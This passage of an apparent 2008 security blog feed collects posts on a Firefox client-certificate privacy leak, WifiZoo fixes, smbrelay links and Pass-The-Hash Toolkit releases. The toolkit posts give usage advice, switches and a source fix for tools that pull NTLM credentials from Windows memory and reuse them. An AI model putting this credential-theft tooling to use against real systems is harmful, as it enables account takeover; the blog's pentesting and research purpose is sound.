alt="" id="BLOGGER_PHOTO_ID_5283039672412082322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Doing that will solve all your problems, the dialog asking for which certificate to use will not appear any more because Firefox will choose one for you.&lt;br /&gt;&lt;br /&gt;THE THING IS... Firefox's algorithm to choose which certificate to send is not very good.. to tell you the truth I have no idea exactly what's the algorithm they use (the information found in the link I mentioned above was not enough for me to understand exactly how it works).. but from what I've seen in practice.. it is very bad..&lt;br /&gt;&lt;br /&gt;Because of this, situations like the following can occur:&lt;br /&gt;&lt;br /&gt;* You have a client certificate for the Organization 'Organization A' stored in the Firefox certificate store&lt;br /&gt;&lt;br /&gt;* You connect using https to www.organizationb.com (or any other domain, www.whatever.com, just one that has absolutely NOTHING to do with the organization that provided you with the client certificate :)). This https server requires client certificates.&lt;br /&gt;&lt;br /&gt;* if you have the 'Select one automatically' option enabled, it is very likely that Firefox will send the client certificate for 'Organization A' to this unknown, untrusted, arbitrary https server (specially if this is the only client certificate you have).&lt;br /&gt;&lt;br /&gt;* This all happens transparently, you'll never know it happened.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So... this is not very good.. it's a privacy issue.. client certificates usually contain email-addresses, the name of organizations, YOUR NAME, YOUR EMAIL ADDRESS,... you get the idea..&lt;br /&gt;&lt;br /&gt;So, if you have the 'Select one automatically' option enabled, anyone on the Internet can potentially know your name, your organization's name, your e-mail address.. not very good.. and it all happens behind the scenes.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;So, again, using 'Select one automatically'... not a very good idea.. :)&lt;br /&gt;&lt;br /&gt;If you use client certificates, you can also create a 'fake' certificate without any personal information and hope Firefox will deliver that one to the remote server. I tried this and it works, but I haven't yet thoroughly analyzed the algorithm they use to choose which certificate to send to be able to to tell you how to create it and whether a remote server can still make Firefox send your other certificates.&lt;br /&gt;&lt;br /&gt;So let me repeat again, 'Ask me every time' is the default option in Firefox (this is very important), however, sometimes, as I explained before, having this option enabled is not possible (yes, the scenarios are limited, but they exist), so.. in these special cases.. I recommend having a 'fake' cert or enabling 'select one automatically' and then be sure not to access any other web server :) (not browsing only https servers is not enough, think redirect.. ) until you change the setting back to 'Ask me every time' :).&lt;br /&gt;&lt;br /&gt;if you want to try this out, you can use openssl:&lt;br /&gt;&lt;br /&gt;* Enable 'select one automatically' if you haven't enabled it already&lt;br /&gt;* create a fake server certificate to use with openssl&lt;br /&gt;* run the following command: sudo openssl s_server -accept 443 -cert server.crt -key server.key -crl_check -verify -state -HTTP (or change -accept 443 to -accept &lt;some_high_port&gt; to avoid running openssl as root.. it's just a test anyways.. )&lt;br /&gt;* go to your browser and access https://localhost/something&lt;br /&gt;* the client certificate information will be displayed by openssl&lt;br /&gt;&lt;/some_high_port&gt;&lt;/p&gt;See the next screenshot:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sUXOjNfwj9k/SVEgB1A4NHI/AAAAAAAAACU/NWVfPD_FXEA/s1600-h/openssl.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 212px;" src="http://3.bp.blogspot.com/_sUXOjNfwj9k/SVEgB1A4NHI/AAAAAAAAACU/NWVfPD_FXEA/s320/openssl.png" alt="" id="BLOGGER_PHOTO_ID_5283039053665023090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* you can also add the -debug parameter to openssl if you want to obtain more verbose information&lt;br /&gt;* you can also use ruby and WEBrick (you won't have to create a fake server certificate); or any other scripting language :)&lt;br /&gt;&lt;br /&gt;So, there're many improvements that could be done to the 'Select one automatically' option (some are very naive and are mistakes :)).. so be careful..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8767757494698168446?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/MN2F9tNuMkw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/8767757494698168446/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=8767757494698168446&amp;isPopup=true" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/8767757494698168446" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/8767757494698168446" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/MN2F9tNuMkw/firefox-and-client-certificates-privacy.html" title="Firefox and client certificates: a privacy issue" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_sUXOjNfwj9k/SVEgl2BrEJI/AAAAAAAAACc/n2pNt8-qUKc/s72-c/selectcertauto.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/12/firefox-and-client-certificates-privacy.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3873639500886776780</id><published>2008-12-12T10:19:00.000-02:00</published><updated>2008-12-12T10:24:53.096-02:00</updated><title type="text">Netifera beta2 released</title><content type="html">Netifera just released beta2. check it out: &lt;a href="http://blog.netifera.com/beta-2-released/"&gt;http://blog.netifera.com/beta-2-released/&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;I really like where this tool/framework is going. If you're a consultant or something like that :), and you wanted a very good framework, with a nice GUI, nice plugin architecture, oriented towards data gathering, passive and active network discovery, creating associations between discovered entities, and more, you have to check out this tool.&lt;br /&gt;&lt;br /&gt;Of course, it is still in beta, and lots of things need to be added, improved, fixed; but anyways, like I said, I really like the direction the tool is taking.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3873639500886776780?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/JDfYmM58ew8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/3873639500886776780/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=3873639500886776780&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/3873639500886776780" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/3873639500886776780" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/JDfYmM58ew8/netifera-beta2-released.html" title="Netifera beta2 released" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/12/netifera-beta2-released.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-2731969414248305985</id><published>2008-11-13T10:05:00.000-02:00</published><updated>2008-11-13T10:12:40.551-02:00</updated><title type="text">MS08-068 - anti-smbrelay?</title><content type="html">Ok, this is kind of a lame post because I'm gonna give you links to posts made by other people, but oh well, I felt like sharing what I'd found and I'm posting links and not reposting anything, so it should be fine :).&lt;br /&gt;&lt;br /&gt;I was looking for information about how &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx"&gt;MS08-068&lt;/a&gt; tried to prevent the smbrelay attack (or "SMB credentials reflection attack"  as MS likes to call it) and the best post I found was this one from metasploit's blog:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.metasploit.com/2008/11/ms08-067-metasploit-and-smb-relay.html"&gt;http://blog.metasploit.com/2008/11/ms08-067-metasploit-and-smb-relay.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I also find interesting the following posts:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx"&gt;http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.technet.com/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx"&gt;http://blogs.technet.com/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Anyways, I haven't verified any of the things said in these posts, so "trust, but verify".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-2731969414248305985?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/7me4EWY2T-Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/2731969414248305985/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=2731969414248305985&amp;isPopup=true" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/2731969414248305985" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/2731969414248305985" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/7me4EWY2T-Q/ms08-068-anti-smbrelay.html" title="MS08-068 - anti-smbrelay?" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/11/ms08-068-anti-smbrelay.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1344971461402448756</id><published>2008-11-03T07:16:00.002-02:00</published><updated>2008-11-03T07:31:58.594-02:00</updated><title type="text">HITB2008 - Malaysia - Pass-The-Hash Toolkit for Windows Presentation</title><content type="html">Hey, so I'm back from Malaysia!.&lt;br /&gt;Great place, very interesting, I need to go back as soon as possible :).&lt;br /&gt;&lt;br /&gt;Thanks to Dhillon for the opportunity to present in the conference and going to Malaysia, and the entire HITB Crew for your help during the conference. Special Thanks go to Fabian, a HITB Volunteer, that waited for me at the airport at 6:20am to send me on my way to the Hotel. Thanks Fabian! :).&lt;br /&gt;&lt;br /&gt;Materials for the conference are available here:&lt;br /&gt;&lt;br /&gt;http://conference.hackinthebox.org/hitbsecconf2008kl/materials/&lt;br /&gt;&lt;br /&gt;My presentation, "Pass-the-hash toolkit for Windows - Implementation &amp;amp; Use" is available here:&lt;br /&gt;&lt;br /&gt;http://conference.hackinthebox.org/hitbsecconf2008kl/materials/D1T1%20-%20Hernan%20Ochoa%20-%20Pass-The-Hash%20Toolkit%20for%20Windows.pdf&lt;br /&gt;&lt;br /&gt;The presentation is a good starting point to understand how the tools were implemented, and will also give you an insight on how to use the tools and why.&lt;br /&gt;&lt;br /&gt;The presentation does not describe exactly the demo I did where I reproduced (as a single example of this situtation) a 'vulnerability' where NTLM credentials remained in memory after users log off, which is also one of the best arguments in favor of using the whosthere/whosthere-tool during a pentest, but it shouldn't matter anyway because I just reproduced the 'bug' to show the audience I was not lying about this issue :), so being able to reproduce it (the case I showed at least) should not be relevant; the only relevant thing is: you should use whosthere/whosthere-alt during pentests to gather admin credentials of past logons that are in memory :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1344971461402448756?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/WiHX02vkrX4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/1344971461402448756/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=1344971461402448756&amp;isPopup=true" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/1344971461402448756" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/1344971461402448756" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/WiHX02vkrX4/hitb2008-malaysia-pass-hash-toolkit-for.html" title="HITB2008 - Malaysia - Pass-The-Hash Toolkit for Windows Presentation" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/11/hitb2008-malaysia-pass-hash-toolkit-for.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-9175504442834219668</id><published>2008-10-22T12:28:00.004-02:00</published><updated>2008-10-22T12:40:30.202-02:00</updated><title type="text">bug in iam-alt makes it fail completely (easy to fix)</title><content type="html">Thanks to 'nop' that posted &lt;a href="http://www.hexale.org/forums/topic.php?id=15"&gt;this&lt;/a&gt; question in the hexale forums I've found a bug in iam-alt.c that makes it fail miserably every single time :).  my bad.&lt;br /&gt;&lt;br /&gt;So, if you're having issues with iam-alt.exe where you pass to it a hash, and it says it has successfully changed it in memory, but then you run whosthere/whosthere-alt and the hash you see is nothing like the original hash you provided to iam-alt.exe the source of this issue is this bug.&lt;br /&gt;&lt;br /&gt;the bug is very easy to fix, if you want to fix it yourself, you just need to modify the following:&lt;br /&gt;&lt;br /&gt;In pshtoolkit_v1.4-src\iam-alt\iam-alt.c:&lt;br /&gt;&lt;br /&gt;line 332:&lt;br /&gt;change&lt;br /&gt;memset(nums, 'x00', 3);&lt;br /&gt;for&lt;br /&gt;memset(nums,'\x00',3);&lt;br /&gt;&lt;br /&gt;line 337:&lt;br /&gt;change&lt;br /&gt;memset(nums, 'x00', 3);&lt;br /&gt;for&lt;br /&gt;memset(nums,'\x00',3);&lt;br /&gt;&lt;br /&gt;and that's it! (feel free to modify the memset() call to include your desired representation of the byte value 0 :))&lt;br /&gt;&lt;br /&gt;This fix is gonna be included in the next release; if you're in a hurry and for some reason want to fix this immedately and cannot re-compile the tool by yourself, drop me an email and I'll send youthe fixed version of iam-alt.exe.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-9175504442834219668?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/BsMKWFr6tOM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/9175504442834219668/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=9175504442834219668&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/9175504442834219668" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/9175504442834219668" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/BsMKWFr6tOM/bug-in-iam-alt-makes-it-fail-completely.html" title="bug in iam-alt makes it fail completely (easy to fix)" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/10/bug-in-iam-alt-makes-it-fail-completely.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-651413926462849951</id><published>2008-10-09T23:34:00.000-03:00</published><updated>2008-10-09T23:35:25.670-03:00</updated><title type="text">I'm giving twitter a try</title><content type="html">I'm giving twitter a try,&lt;br /&gt;&lt;br /&gt;http://www.twitter.com/hernano&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-651413926462849951?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/WUGPoPU1dag" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/651413926462849951/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=651413926462849951&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/651413926462849951" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/651413926462849951" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/WUGPoPU1dag/im-giving-twitter-try.html" title="I'm giving twitter a try" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/10/im-giving-twitter-try.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-943975458098377619</id><published>2008-10-09T16:13:00.003-03:00</published><updated>2008-10-09T16:22:24.569-03:00</updated><title type="text">WifiZoo and the new version of scapy</title><content type="html">The current version of Wifizoo does not work with scapy's latest version (http://www.secdev.org/projects/scapy/files/scapy-latest.zip), you'll get the following error when running wifizoo:&lt;br /&gt;&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt; File "wifizoo.py", line 48, in &lt;module&gt;&lt;br /&gt;    conf.verb = 0&lt;br /&gt;NameError: name 'conf' is not defined&lt;br /&gt;&lt;br /&gt;To fix this error do simply the following:&lt;br /&gt;&lt;br /&gt;Look in wifizoo.py for the line that says 'import getopt' and after that add the following line:&lt;br /&gt;&lt;br /&gt;from scapy.all import *&lt;br /&gt;&lt;br /&gt;and now everything should work again.&lt;/module&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-943975458098377619?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/Gn5a7nDF4eY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/943975458098377619/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=943975458098377619&amp;isPopup=true" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/943975458098377619" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/943975458098377619" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/Gn5a7nDF4eY/wifizoo-and-new-version-of-scapy.html" title="WifiZoo and the new version of scapy" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5985392103787554782</id><published>2008-08-24T02:22:00.004-03:00</published><updated>2008-08-24T02:34:08.421-03:00</updated><title type="text">How to store AddressBook data on an encrypted volume</title><content type="html">Ok, i'm paranoid and I did the following to store the data of OS X's AddressBook on an encrypted DMG volume. Using this method I know all data in my addressbook is unencrypted and available only when I want it to be unencrypted (that is, only when I mount the encrypted DMG volume).&lt;br /&gt;&lt;br /&gt;This is nothing great or difficult, is actually pretty dumb, but I thought perhaps someone out there will also find it useful:&lt;br /&gt;&lt;br /&gt;1.I assume you already have your DMG encrypted volume or TrueCrypt image or whatever you use created; let's say you mount it at /Volumes/encdisk&lt;br /&gt;2.AddressBook data is stored in ~/library/ApplicationSupport/AddressBook&lt;br /&gt;3.Move everything in ~/library/ApplicationSupport/AddressBook to /Volumes/encdisk/AddressBook&lt;br /&gt;4.rm -fr ~/library/ApplicationSupport/AddressBook&lt;br /&gt;5.ln -s /Volumes/encdisk/AddressBook/ AddressBook&lt;br /&gt;&lt;br /&gt;and that's it :)&lt;br /&gt;&lt;br /&gt;If your encrypted DMG/TrueCrypt volume is not mounted and you launch AddressBook,, it will of course start executing and will then terminate immediately, which is great! :)&lt;br /&gt;&lt;br /&gt;DISCLAIMER: Do this at  your own risk; I cannot be held responsible if following this instructions destroys all your data.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5985392103787554782?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/zLKwieEgKwc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/5985392103787554782/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=5985392103787554782&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/5985392103787554782" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/5985392103787554782" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/zLKwieEgKwc/how-to-store-addressbook-data-on.html" title="How to store AddressBook data on an encrypted volume" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/08/how-to-store-addressbook-data-on.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-6924558501738025470</id><published>2008-08-06T22:56:00.003-03:00</published><updated>2008-08-06T23:08:02.303-03:00</updated><title type="text">wifizoo.hexale.org - WifiZoo's new web site</title><content type="html">Wifizoo has a new web site completely dedicated to the tool.&lt;br /&gt;&lt;br /&gt;Yes, it is still ugly and basically contains the same info as the old one, but I'm going to change that as soon as possible.&lt;br /&gt;&lt;br /&gt;For starters, there's a 'News' section that right now is basically a bunch of items inside a &amp;lt;li&amp;gt; tag :), but this section contain several pieces of information that were scattered on different web sites and my inbox up until now.&lt;br /&gt;&lt;br /&gt;The idea is to gather all information regarding Wifizoo in wifizoo.hexale.org making it the place to go when searching for information about the tool.&lt;br /&gt;&lt;br /&gt;To all of you who have sent me links to videos and tutorials about wifizoo, please, can you send them again? I'll go thru my inbox, but I don't want to miss any, so, if you are still interested, please resend me the link to the tutorial/video/etc  so I can add it to the web site.&lt;br /&gt;&lt;br /&gt;And remember there's a Wifizoo forum at www.hexale.org/forums.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-6924558501738025470?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/hlv2wlQ2upQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/6924558501738025470/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=6924558501738025470&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/6924558501738025470" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/6924558501738025470" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/hlv2wlQ2upQ/wifizoohexaleorg-wifizoos-new-web-site.html" title="wifizoo.hexale.org - WifiZoo's new web site" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/08/wifizoohexaleorg-wifizoos-new-web-site.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-6928197156584132444</id><published>2008-07-02T15:45:00.001-03:00</published><updated>2008-07-02T15:45:46.898-03:00</updated><title type="text">Release of Pass-The-Hash Toolkit v1.4</title><content type="html">Source Code:&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/pshtoolkit/release/1.4/pshtoolkit_v1.4-src.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.4/pshtoolkit_v1.4-src.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Win32 Binaries:&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/pshtoolkit/release/1.4/pshtoolkit_v1.4.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.4/pshtoolkit_v1.4.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Documentation/info:&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/projects/pshtoolkit.htm"&gt;http://oss.coresecurity.com/projects/pshtoolkit.htm&lt;/a&gt;&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/pshtoolkit/doc/index.html"&gt;http://oss.coresecurity.com/pshtoolkit/doc/index.html&lt;/a&gt;&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://hexale.blogspot.com/"&gt;http://hexale.blogspot.com&lt;/a&gt;&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://www.hexale.org/forums"&gt;http://www.hexale.org/forums&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What's new?:&lt;br /&gt;(&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/pshtoolkit/release/1.4/WHATSNEW"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.4/WHATSNEW&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;*Support for XP SP 3 for whosthere/iam (whosthere-alt/iam-alt work on xp sp3&lt;br /&gt;without requiring any update)&lt;br /&gt;&lt;br /&gt;*New -t switch for whosthere/whosthere-alt: establishes interval used by  the -i switch (by default 2 seconds).&lt;br /&gt;&lt;br /&gt;*New -a switch for whosthere/iam: specify addresses to use. Format:  ADDCREDENTIAL_ADDR:ENCRYPTMEMORY_ADDR:FEEDBACK_ADDR:DESKEY_ADDR:LOGONSESSIONLIST_ADDR:LOGONSESSIONLIST_COUNT_ADDR  (WARNING!: if you use the wrong values the system may crash)&lt;br /&gt;The idea is that, if you find yourself in a version of Windows where&lt;br /&gt;whosthere/iam don't work (and iam-alt/whosthere-alt don't work either);  you can run LSASRV.DLL thru IDA, run the PASSTHEHASH.IDC script included  in the Pass-The-Hash toolkit, and use the addresses found by the script  with the -a switch.&lt;br /&gt;&lt;br /&gt;This basically allows you to specify addresses at runtime to whosthere  whithout&lt;br /&gt;the need to recompile the tool.&lt;br /&gt;&lt;br /&gt;*New -r switch for iam/iam-alt: Create a new logon session and run a  command with&lt;br /&gt;the specified credentials (e.g.: -r cmd.exe)&lt;br /&gt;&lt;br /&gt;*genhash now outputs hashes using the LM HASH:NT HASH format&lt;br /&gt;&lt;br /&gt;*several bugfixes and stuff&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-6928197156584132444?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/4YQZgN2B1Cc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/6928197156584132444/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=6928197156584132444&amp;isPopup=true" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/6928197156584132444" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/6928197156584132444" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/4YQZgN2B1Cc/release-of-pass-hash-toolkit-v14.html" title="Release of Pass-The-Hash Toolkit v1.4" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total 